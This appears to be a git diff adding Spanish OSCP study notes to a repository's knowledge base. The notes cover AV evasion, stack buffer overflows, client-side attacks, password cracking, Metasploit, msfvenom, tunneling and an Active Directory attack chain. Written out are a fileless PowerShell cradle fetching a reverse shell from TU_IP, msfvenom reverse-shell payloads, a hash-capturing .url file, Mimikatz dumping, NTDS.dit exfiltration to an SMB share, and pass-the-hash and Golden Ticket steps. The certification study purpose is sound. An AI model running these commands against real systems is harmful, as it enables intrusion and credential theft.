IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/rev.ps1') # fileless
|
||||
powershell -ExecutionPolicy Bypass -File evasion.ps1
|
||||
powershell -encodedCommand JABjAG8AZABl... # comando en base64 (UTF-16LE)
|
||||
```
|
||||
|
||||
## Generar y ofuscar
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1 # → msfvenom
|
||||
python3 ps_encoder.py -s evasion.ps1 # darkoperator/Invoke-Obfuscation
|
||||
./chimera.sh -f evasion.ps1 -l 1,2,3 -o out.ps1 # Chimera: ofusca strings/variables
|
||||
```
|
||||
|
||||
## Inyección directa (P/Invoke)
|
||||
Script PS que reserva memoria con **VirtualAlloc**, copia el shellcode y lanza **CreateThread** → ejecuta sin escribir un .exe al disco (evade el escaneo on-write).
|
||||
|
||||
## Otras tools
|
||||
- **Shellter** (inyecta en un .exe legítimo), **Veil**, **Nim/C# loaders**.
|
||||
- **UPX** para empaquetar y cambiar la firma: `upx -9 rev.exe`.
|
||||
|
||||
> Nota OSCP: la evasión de AV está permitida (no es un escáner de vulns prohibido → Reglas de herramientas); rara vez hace falta en el examen, pero alguna máquina la pide.
|
||||
|
||||
Relacionado: Client-side attacks · msfvenom · Reverse shell · OSCP MOC
|
||||
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
58
nucleo/saber/conocimiento/08 - Avanzado/Buffer Overflow.md
Normal file
|
|
@ -0,0 +1,58 @@
|
|||
# Buffer Overflow (stack, 32-bit)
|
||||
|
||||
> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
|
||||
> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.
|
||||
|
||||
## Setup de mona (una vez)
|
||||
```
|
||||
!mona config -set workingfolder c:\mona\%p
|
||||
```
|
||||
|
||||
## Los 7 pasos
|
||||
```
|
||||
[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]
|
||||
```
|
||||
|
||||
### 1. Fuzzing — encontrar el crash
|
||||
Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.
|
||||
|
||||
### 2. Offset — posición exacta del EIP
|
||||
```bash
|
||||
msf-pattern_create -l 3000 # mándalo como buffer
|
||||
msf-pattern_offset -l 3000 -q 39694438 # el valor que quedó en EIP
|
||||
# alternativa en mona:
|
||||
!mona findmsp -distance 3000 # te da "EIP contains normal pattern ... offset XXXX"
|
||||
```
|
||||
|
||||
### 3. Controlar EIP — confirmar
|
||||
Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.
|
||||
|
||||
### 4. Badchars — bytes que corrompen
|
||||
```
|
||||
!mona bytearray -b "\x00" # genera \x01..\xff
|
||||
# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
|
||||
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
|
||||
```
|
||||
Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".
|
||||
|
||||
### 5. JMP ESP — la dirección de retorno
|
||||
```
|
||||
!mona jmp -r esp -cpb "\x00\x0a\x0d" # busca un JMP ESP sin badchars
|
||||
# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
|
||||
```
|
||||
Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).
|
||||
|
||||
### 6. Shellcode con msfvenom
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
|
||||
-b "\x00\x0a\x0d" -f py -v shellcode
|
||||
# Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
### 7. Exploit final
|
||||
```
|
||||
buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
|
||||
```
|
||||
Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.
|
||||
|
||||
Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
# Client-side attacks
|
||||
|
||||
> Atacas a un **usuario** (que abre un documento/enlace), no a un servicio. Fuente: oscp.trastero.org/clientside.
|
||||
|
||||
## Macro de Word (VBA)
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta # → msfvenom
|
||||
python3 split.py # parte el payload codificado en trozos de 50 chars para el VBA
|
||||
```
|
||||
- VBA con `Sub AutoOpen()` y `Sub Document_Open()` que reconstruye y ejecuta el PowerShell.
|
||||
- **Guardar como "Documento de Word 97-2003" (.doc)** para que conserve la macro.
|
||||
- Verificar: `olevba evil.doc`.
|
||||
|
||||
## Acceso directo malicioso (.url / .lnk)
|
||||
```ini
|
||||
[InternetShortcut]
|
||||
URL=file://TU_IP
|
||||
IconFile=\\TU_IP\SERVER\%USERNAME%.icon
|
||||
IconIndex=1
|
||||
```
|
||||
- El `IconFile` con ruta **UNC** fuerza al cliente a autenticar contra tu SMB → **capturas su hash NetNTLMv2**.
|
||||
```bash
|
||||
impacket-smbserver -smb2support SERVER $(pwd) # o Responder → Herramientas (índice)
|
||||
```
|
||||
- El hash capturado → Cracking de contraseñas (`hashcat -m 5600`) o relay.
|
||||
|
||||
Relacionado: AV evasion · Cracking de contraseñas · Authentication attacks · OSCP MOC
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
# Cracking de contraseñas
|
||||
|
||||
> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.
|
||||
|
||||
## Identificar el hash
|
||||
```bash
|
||||
hashid '$1$...' # o hash-identifier
|
||||
```
|
||||
|
||||
## hashcat — los modos que importan
|
||||
```
|
||||
-m 0 MD5 -m 100 SHA1 -m 1000 NTLM
|
||||
-m 1800 sha512crypt ($6$, /etc/shadow)
|
||||
-m 5600 NetNTLMv2 (capturado con Responder → Client-side attacks)
|
||||
-m 13100 Kerberoast TGS ($krb5tgs$) → Kerberoasting
|
||||
-m 18200 AS-REP ($krb5asrep$) → AS-REP Roasting
|
||||
-m 22000 WPA-PBKDF2 -m 13400 KeePass
|
||||
```
|
||||
```bash
|
||||
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
|
||||
```
|
||||
|
||||
## John the Ripper
|
||||
```bash
|
||||
unshadow /etc/passwd /etc/shadow > unshadowed
|
||||
john --format=NT hashes.txt --wordlist=rockyou.txt
|
||||
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john # extractores
|
||||
john --rules --wordlist=rockyou.txt z.hash
|
||||
```
|
||||
|
||||
## Wordlists a medida
|
||||
```bash
|
||||
cewl http://IP -m 6 -w custom.txt # palabras de la propia web
|
||||
crunch 8 8 -t @@@@%%%% -o crunch.txt # patrones
|
||||
```
|
||||
|
||||
## Online (servicio en vivo)
|
||||
```bash
|
||||
hydra -L users.txt -P rockyou.txt ssh://IP # ver Authentication attacks
|
||||
medusa -h IP -u admin -P pass.txt -M smbnt
|
||||
fcrackzip -u -D -p rockyou.txt secret.zip # ZIP
|
||||
crowbar -b rdp -s IP/32 -u admin -C pass.txt # RDP
|
||||
```
|
||||
|
||||
Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Exploits conocidos (CVEs)
|
||||
|
||||
> Exploits públicos que aparecen una y otra vez. Localízalos con searchsploit y **léelos antes de lanzarlos**. Fuente: oscp.trastero.org/exploits.
|
||||
|
||||
## Linux (privesc local)
|
||||
```
|
||||
CVE-2021-4034 PwnKit / pkexec (polkit) → casi universal, sin dependencias
|
||||
CVE-2021-3156 Baron Samedit (sudo)
|
||||
CVE-2022-0847 Dirty Pipe (kernel ≥5.8)
|
||||
CVE-2016-5195 Dirty COW (kernel viejo)
|
||||
CVE-2012-0056 Mempodipper
|
||||
```
|
||||
Comprueba versión: `uname -a`, `sudo --version`, y mira Privesc Linux antes del kernel exploit.
|
||||
|
||||
## Windows
|
||||
```
|
||||
MS17-010 EternalBlue (SMBv1) → foothold remoto
|
||||
PrintNightmare CVE-2021-1675 / 34527 → privesc/RCE vía spooler
|
||||
SpoolFool CVE-2022-21999 → privesc spooler
|
||||
HiveNightmare CVE-2021-36934 (SeriousSAM) → lee SAM como user
|
||||
```
|
||||
Potato family (SeImpersonate) → ver Potato attacks.
|
||||
|
||||
## Compilar
|
||||
```bash
|
||||
gcc exploit.c -o exploit # Linux
|
||||
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll # DLL Windows (cross-compile)
|
||||
i686-w64-mingw32-gcc evil.c -o evil.exe # EXE 32-bit
|
||||
```
|
||||
Para shellcode listo: msfvenom `-f exe` / `-f dll`.
|
||||
|
||||
> ⚠️ Hay PoCs falsos/maliciosos. Lee el código antes de ejecutar (searchsploit).
|
||||
|
||||
Relacionado: Privesc Windows · Privesc Linux · OSCP MOC
|
||||
45
nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md
Normal file
45
nucleo/saber/conocimiento/08 - Avanzado/Metasploit.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Metasploit
|
||||
|
||||
> ⚠️ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit.
|
||||
|
||||
## Básico
|
||||
```
|
||||
msfconsole -q
|
||||
search <servicio/cve>
|
||||
use exploit/...
|
||||
show options ; set RHOSTS IP ; set LHOST TU_IP ; run
|
||||
```
|
||||
|
||||
## multi/handler (recibir un payload de msfvenom)
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_reverse_tcp # o windows/meterpreter/reverse_tcp
|
||||
set LHOST TU_IP ; set LPORT 443 ; run
|
||||
```
|
||||
|
||||
## Meterpreter (post-explotación)
|
||||
```
|
||||
getuid # quién soy
|
||||
getsystem # intento de privesc a SYSTEM
|
||||
hashdump # vuelca hashes SAM → Cracking de contraseñas / Pass-the-Hash
|
||||
ps ; migrate 799 # migrar a otro proceso
|
||||
background ; sessions -i 1
|
||||
```
|
||||
|
||||
## Subir una shell normal a meterpreter
|
||||
```
|
||||
# Ctrl+Z para mandar la shell a background, luego:
|
||||
use post/multi/manage/shell_to_meterpreter
|
||||
set SESSION 1 ; run
|
||||
sessions -i 2
|
||||
```
|
||||
|
||||
## Pivoting con Metasploit
|
||||
```
|
||||
use post/multi/manage/autoroute
|
||||
set SESSION 1 ; set SUBNET 192.168.5.0 ; run
|
||||
use auxiliary/server/socks_proxy ; run # + proxychains → Tunneling
|
||||
portfwd add -l 3389 -p 3389 -r 192.168.5.10
|
||||
```
|
||||
|
||||
Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC
|
||||
45
nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md
Normal file
45
nucleo/saber/conocimiento/08 - Avanzado/Tunneling.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Tunneling y port forwarding
|
||||
|
||||
> Reenviar puertos y montar proxies para alcanzar redes internas. Alternativas a Pivoting ligolo-ng. Fuente: oscp.trastero.org/tunneling.
|
||||
|
||||
## SSH (el más portable)
|
||||
```bash
|
||||
ssh -L 8080:127.0.0.1:80 user@pivot # LOCAL: tu :8080 → servicio interno
|
||||
ssh -R 3390:127.0.0.1:3389 user@kali # REMOTE: expone el RDP del pivot en tu :3390
|
||||
ssh -D 1080 user@pivot # DYNAMIC: proxy SOCKS en tu :1080
|
||||
# luego: proxychains <herramienta> (configura socks en /etc/proxychains4.conf)
|
||||
```
|
||||
|
||||
## Chisel (cuando no hay SSH)
|
||||
```bash
|
||||
# Kali (servidor):
|
||||
./chisel server -p 8000 --reverse
|
||||
# Víctima (cliente) → SOCKS reverso:
|
||||
./chisel client TU_IP:8000 R:socks
|
||||
# ahora: proxychains nmap -sT -Pn 192.168.5.10
|
||||
```
|
||||
|
||||
## socat (redirección simple)
|
||||
```bash
|
||||
socat TCP-LISTEN:8080,fork TCP:192.168.5.10:80
|
||||
```
|
||||
|
||||
## Plink (SSH desde Windows)
|
||||
```cmd
|
||||
plink.exe -R 3390:127.0.0.1:3389 user@TU_IP
|
||||
```
|
||||
|
||||
## sshuttle (VPN improvisada, lo más cómodo)
|
||||
```bash
|
||||
sshuttle -r user@pivot 192.168.5.0/24 --dns
|
||||
```
|
||||
|
||||
## Windows nativo — netsh portproxy
|
||||
```cmd
|
||||
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.5.10 connectport=80
|
||||
```
|
||||
|
||||
## proxychains
|
||||
- `proxychains nmap -sT -Pn IP` → usa `-sT` (TCP connect): el SYN scan **no** pasa por el proxy. Ver Nmap NSE.
|
||||
|
||||
Relacionado: Pivoting ligolo-ng · Movimiento lateral · Puesto de mando Kali · OSCP MOC
|
||||
36
nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md
Normal file
36
nucleo/saber/conocimiento/08 - Avanzado/msfvenom.md
Normal file
|
|
@ -0,0 +1,36 @@
|
|||
# msfvenom
|
||||
|
||||
> El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit.
|
||||
|
||||
## Anatomía
|
||||
```bash
|
||||
msfvenom -p <payload> LHOST=TU_IP LPORT=443 -f <formato> -o salida [-b badchars] [-e encoder]
|
||||
```
|
||||
|
||||
## Payloads frecuentes
|
||||
```
|
||||
windows/shell_reverse_tcp shell normal (no necesita Metasploit para recibir → nc)
|
||||
windows/meterpreter/reverse_tcp meterpreter (recíbelo con multi/handler)
|
||||
linux/x86/shell_reverse_tcp
|
||||
windows/x64/shell_reverse_tcp (x64)
|
||||
```
|
||||
|
||||
## Formatos (-f) según el caso
|
||||
```
|
||||
exe ejecutable Windows dll DLL hijacking / Exploits conocidos
|
||||
raw shellcode crudo (B0F) py para tu script de Buffer Overflow
|
||||
psh / powershell hta-psh Client-side attacks
|
||||
aspx / war / jsp webshells para upload
|
||||
elf ejecutable Linux
|
||||
```
|
||||
|
||||
## Ejemplos
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1 # → AV evasion
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta
|
||||
```
|
||||
- Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion.
|
||||
|
||||
Relacionado: Reverse shell · Metasploit · OSCP MOC
|
||||
57
nucleo/saber/conocimiento/OSCP MOC.md
Normal file
57
nucleo/saber/conocimiento/OSCP MOC.md
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
# 🗺️ OSCP — Mapa Central (MOC)
|
||||
|
||||
> Nota hub del vault. Desde aquí salen todos los caminos.
|
||||
> Origen: apuntes propios en `tu carpeta` + material de un laboratorio.
|
||||
|
||||
## La espina dorsal
|
||||
La Metodología OSCP es lo único que de verdad importa. Todo lo demás cuelga de ella:
|
||||
|
||||
```
|
||||
Enumeración → vector → foothold (Reverse shell) →
|
||||
Privesc Linux / Privesc Windows → loot (Mimikatz) →
|
||||
Movimiento lateral / Active Directory → documentar (Reporte OSCP)
|
||||
```
|
||||
|
||||
## Clusters
|
||||
|
||||
### 🧭 Metodología y examen
|
||||
- Metodología OSCP · Estructura del examen · Gestión del tiempo
|
||||
- Reporte OSCP · Reglas de herramientas
|
||||
|
||||
### 🔍 Enumeración
|
||||
- Enumeración (índice) · Nmap · Nmap NSE · Puertos olvidados
|
||||
- SMB · SNMP · Netcat · RDP
|
||||
- Enumeración web · Content discovery · Vhosts y subdominios
|
||||
- searchsploit · Trampas de enumeración
|
||||
|
||||
### 🌐 Explotación web
|
||||
- Hacking web (índice/metodología) · Burp Suite · Burp Repeater e Intruder
|
||||
- SQL injection · Command injection · Directory traversal · LFI a RCE
|
||||
- File upload bypass · XSS · SSTI · Authentication attacks
|
||||
|
||||
### 🐚 Shells y transferencia
|
||||
- Puesto de mando Kali · Reverse shell · Estabilizar shell TTY
|
||||
- Egress filtering · Transferencia de ficheros
|
||||
|
||||
### ⬆️ Escalada de privilegios
|
||||
- Privesc Linux · Privesc Windows · PEASS-ng
|
||||
- Potato attacks · GTFOBins y LOLBAS
|
||||
|
||||
### 🏰 Active Directory
|
||||
- Active Directory (índice) · Kerberos · Kerberoasting · AS-REP Roasting
|
||||
- Mimikatz · Impacket · BloodHound
|
||||
- Pass-the-Hash · DCSync · Golden Ticket · Silver Ticket · secretsdump
|
||||
- Movimiento lateral · Pivoting ligolo-ng
|
||||
- GPP cpassword · LAPS · ACL abuses
|
||||
|
||||
### 🧪 Avanzado / Post-explotación
|
||||
- Buffer Overflow · Metasploit · msfvenom
|
||||
- Tunneling · Cracking de contraseñas · Exploits conocidos
|
||||
- AV evasion · Client-side attacks
|
||||
|
||||
### ⌨️ Cheatsheets de shell
|
||||
- Operadores Bash · Operadores PowerShell
|
||||
- Port scanner PowerShell · Bucles bash sobre IPs
|
||||
|
||||
### 📚 Referencia
|
||||
- Herramientas (índice) · Recursos públicos · un laboratorio
|
||||
19
nucleo/saber/conocimiento/README.md
Normal file
19
nucleo/saber/conocimiento/README.md
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
# Conocimiento
|
||||
|
||||
Metodología de pentesting y Linux que **viene con el repo**, para que un clon
|
||||
recién hecho ya sepa de estas cosas sin depender de los apuntes privados de
|
||||
nadie. `indexa.py` lo indexa junto a las man pages y el glosario.
|
||||
|
||||
Son apuntes propios (estilo OSCP) organizados por fase —enumeración, explotación
|
||||
web, shells, escalada de privilegios, Active Directory, cheatsheets, avanzado—
|
||||
con los comandos que se usan de verdad. Usan marcadores como `TU_IP` en vez de
|
||||
direcciones reales; están limpios de datos personales (sin hosts, credenciales,
|
||||
rutas ni referencias privadas).
|
||||
|
||||
Es la parte del RAG que SÍ se publica: el conocimiento genérico. Los apuntes
|
||||
personales del usuario (su `saber.jsonl`, su diario) no se suben —ver
|
||||
[../../../PRIVACIDAD.md](../../../PRIVACIDAD.md)—; este pack los complementa, y en
|
||||
la máquina del usuario se solapan y el deduplicado de `busca.py` los colapsa.
|
||||
|
||||
Añadir o corregir metodología aquí es un buen commit: es Markdown, se indexa
|
||||
solo, y mejora a todo el que clone.
|
||||
353
nucleo/saber/conocimiento/apuntes-ad-pentest.md
Normal file
353
nucleo/saber/conocimiento/apuntes-ad-pentest.md
Normal file
|
|
@ -0,0 +1,353 @@
|
|||
# Apuntes Active Directory Pentest
|
||||
|
||||
Mimikatz · Impacket · Kerberos · BloodHound · Pivoting
|
||||
|
||||
---
|
||||
|
||||
## El mapa mental de todo
|
||||
|
||||
```
|
||||
┌─────────────────────────────┐ ┌──────────────────────────────┐
|
||||
│ TU KALI/DEBIAN │ │ VICTIMA WINDOWS │
|
||||
│ (la atacante) │ │ (cliente o servidor) │
|
||||
├─────────────────────────────┤ ├──────────────────────────────┤
|
||||
│ │ │ │
|
||||
│ ┌─ Impacket ─────────────┐ │ │ ┌─ Procesos a saquear ─┐ │
|
||||
│ │ secretsdump (hashes) ├──┼─────┼──┤ LSASS (creds en RAM) │ │
|
||||
│ │ psexec (shell) ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│ │
|
||||
│ │ GetUserSPNs (kerb) ├──┼─────┼──┤ SAM/SYSTEM │ │
|
||||
│ │ getTGT (kerb) │ │ │ └──────────────────────┘ │
|
||||
│ └────────────────────────┘ │ │ │
|
||||
│ │ │ ┌─ Lo que SUBES tú ────┐ │
|
||||
│ ┌─ BloodHound ───────────┐ │ │ │ mimikatz.exe │ │
|
||||
│ │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS │ │
|
||||
│ │ neo4j + GUI (visualiza)│ │ │ │ Invoke-ConPtyShell.ps1│ │
|
||||
│ └────────────────────────┘ │ │ │ Invoke-PowerShellTcp │ │
|
||||
│ │ │ └──────────────────────┘ │
|
||||
│ ┌─ Listener / loot ──────┐ │ │ │
|
||||
│ │ nc -lvnp 4444 (shell) │◄─┼─TCP─┼─── reverse shell │
|
||||
│ │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools │
|
||||
│ │ smbserver.py (loot) │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc. │
|
||||
│ └────────────────────────┘ │ │ │
|
||||
└─────────────────────────────┘ └──────────────────────────────┘
|
||||
```
|
||||
|
||||
**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.
|
||||
|
||||
---
|
||||
|
||||
## Quién hace qué
|
||||
|
||||
### Mimikatz
|
||||
|
||||
**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.
|
||||
|
||||
```
|
||||
tú (Kali) víctima Windows
|
||||
───────── ────────────────
|
||||
│
|
||||
│ 1. Levantas HTTP en tu carpeta de herramientas
|
||||
│
|
||||
│ ┌────────────┐
|
||||
│ 2. desde │ PowerShell │ iwr http://kali/mimikatz.exe -o m.exe
|
||||
│ reverse │ shell │
|
||||
│ shell ──► └─────┬──────┘
|
||||
│ │
|
||||
│ ▼
|
||||
│ ┌────────────────┐
|
||||
│ │ m.exe │ privilege::debug
|
||||
│ │ │ sekurlsa::logonpasswords
|
||||
│ 4. ves ◄───┤ vuelca creds │ lsadump::sam
|
||||
│ hashes │ del LSASS │ lsadump::dcsync /user:Administrator
|
||||
│ └────────────────┘
|
||||
```
|
||||
|
||||
### Impacket
|
||||
|
||||
**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.
|
||||
|
||||
Los más útiles:
|
||||
|
||||
```
|
||||
impacket-psexec → te da shell en la víctima si tienes creds (estilo PsExec)
|
||||
impacket-wmiexec → ejecutas comandos sin tocar disco
|
||||
impacket-smbexec → otra forma de ejecución remota
|
||||
impacket-secretsdump → vuelca todo el NTDS.dit y SAM de un DC, en remoto
|
||||
impacket-GetUserSPNs → ataque KERBEROASTING (saca TGS de cuentas de servicio)
|
||||
impacket-GetNPUsers → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
|
||||
impacket-getTGT → forja/pide un TGT con cred conocida
|
||||
impacket-getST → pide un service ticket
|
||||
impacket-smbserver → monta un share SMB falso (para exfiltrar a Kali)
|
||||
impacket-ntlmrelayx → relay attacks NTLM
|
||||
```
|
||||
|
||||
### Kerberos en 30 segundos
|
||||
|
||||
```
|
||||
┌──────────┐ ┌────────────────┐
|
||||
│ Usuario │ ¿Pwd? │ KDC (Domain │
|
||||
│ (cliente)│ ─────────────► │ Controller) │
|
||||
└────┬─────┘ └────┬───────────┘
|
||||
│ │
|
||||
│ ◄──── TGT (te identifica)│
|
||||
│ │
|
||||
│ TGT + "quiero \\fileSrv" │
|
||||
├──────────────────────────►│
|
||||
│ │
|
||||
│ ◄──── TGS (para fileSrv)│
|
||||
│ │
|
||||
│ ┌───────────┐ │
|
||||
└──────────►│ fileServer│ "este TGS prueba que soy yo"
|
||||
└───────────┘
|
||||
```
|
||||
|
||||
- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
|
||||
- **TGS** = "ticket de un día" para hablar con un servicio concreto.
|
||||
- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.
|
||||
|
||||
---
|
||||
|
||||
## La cadena de ataque "OSCP típica" con esto
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────┐
|
||||
│ │
|
||||
│ 1) RCE inicial en una web ───────► reverse shell PowerShell │
|
||||
│ (sqli, file upload, etc.) en máquina USUARIO1 │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 2) WinPEAS desde tu carpeta ──► subes y ejecutas │
|
||||
│ enumera permisos, AlwaysInstallElevated, etc. │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 3) Local privesc ──► SYSTEM en USUARIO1 │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 4) Mimikatz ──► sekurlsa::logonpasswords │
|
||||
│ → hash NTLM de un usuario de dominio (DOMAIN\juan) │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 5) BloodHound ──► "¿juan es admin en algún sitio?" │
|
||||
│ "¿juan puede llegar a Domain Admin por algún camino?" │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 6) Impacket-psexec con el hash de juan ──► shell en SERVER2 │
|
||||
│ impacket-psexec -hashes :HASH 'juan@server2.local' │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 7) Si server2 = Domain Controller: │
|
||||
│ impacket-secretsdump ──► vuelcas TODA la BD del dominio │
|
||||
│ (NTDS.dit, krbtgt, etc.) │
|
||||
│ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ │
|
||||
│ 8) Con hash de krbtgt: │
|
||||
│ impacket-ticketer ──► Golden Ticket → eres dios │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cómo se monta cada pieza en la práctica
|
||||
|
||||
### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)
|
||||
|
||||
```
|
||||
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
|
||||
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444 │
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
|
||||
┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
|
||||
│ cd tu carpeta │
|
||||
│ python3 -m http.server 80 │
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
|
||||
┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
|
||||
│ mkdir /tmp/loot && cd /tmp/loot │
|
||||
│ impacket-smbserver loot . -smb2support │
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
|
||||
┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
|
||||
│ $ │
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### B) Recibes una reverse shell
|
||||
|
||||
Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:
|
||||
|
||||
```powershell
|
||||
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
|
||||
```
|
||||
|
||||
Tu Terminal 1 te da una shell **interactiva** Windows.
|
||||
|
||||
### C) Subes y ejecutas Mimikatz desde esa shell
|
||||
|
||||
```powershell
|
||||
# Dentro de la shell, en la víctima:
|
||||
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
|
||||
C:\Windows\Temp\m.exe
|
||||
```
|
||||
|
||||
Y dentro de mimikatz:
|
||||
|
||||
```
|
||||
privilege::debug
|
||||
sekurlsa::logonpasswords
|
||||
```
|
||||
|
||||
Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).
|
||||
|
||||
### D) Exfiltras un fichero grande (NTDS.dit, etc.)
|
||||
|
||||
Desde la víctima:
|
||||
|
||||
```cmd
|
||||
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
|
||||
```
|
||||
|
||||
Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.
|
||||
|
||||
### E) Lateral movement con Impacket (sin reverse shell nueva)
|
||||
|
||||
Una vez tienes hash de un user privilegiado:
|
||||
|
||||
```bash
|
||||
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
|
||||
```
|
||||
|
||||
Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.
|
||||
|
||||
### F) Pivoting (entrar en una red interna) con ligolo-ng
|
||||
|
||||
```
|
||||
TU KALI USUARIO1 RED INTERNA
|
||||
10.10.10.5 10.10.10.50 192.168.5.0/24
|
||||
│ │ │
|
||||
│ ligolo proxy │ │
|
||||
│ ───── tunel ─────► │ │
|
||||
│ │ │
|
||||
│ ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
|
||||
│ │
|
||||
│ añades ruta: │
|
||||
│ ip route add │
|
||||
│ 192.168.5.0/24 dev ligolo
|
||||
│
|
||||
│ ahora desde Kali:
|
||||
│ impacket-psexec admin@192.168.5.10 ◄── el tráfico va por el túnel
|
||||
▼
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## BloodHound — qué hace y cómo lo montas
|
||||
|
||||
### Qué hace
|
||||
|
||||
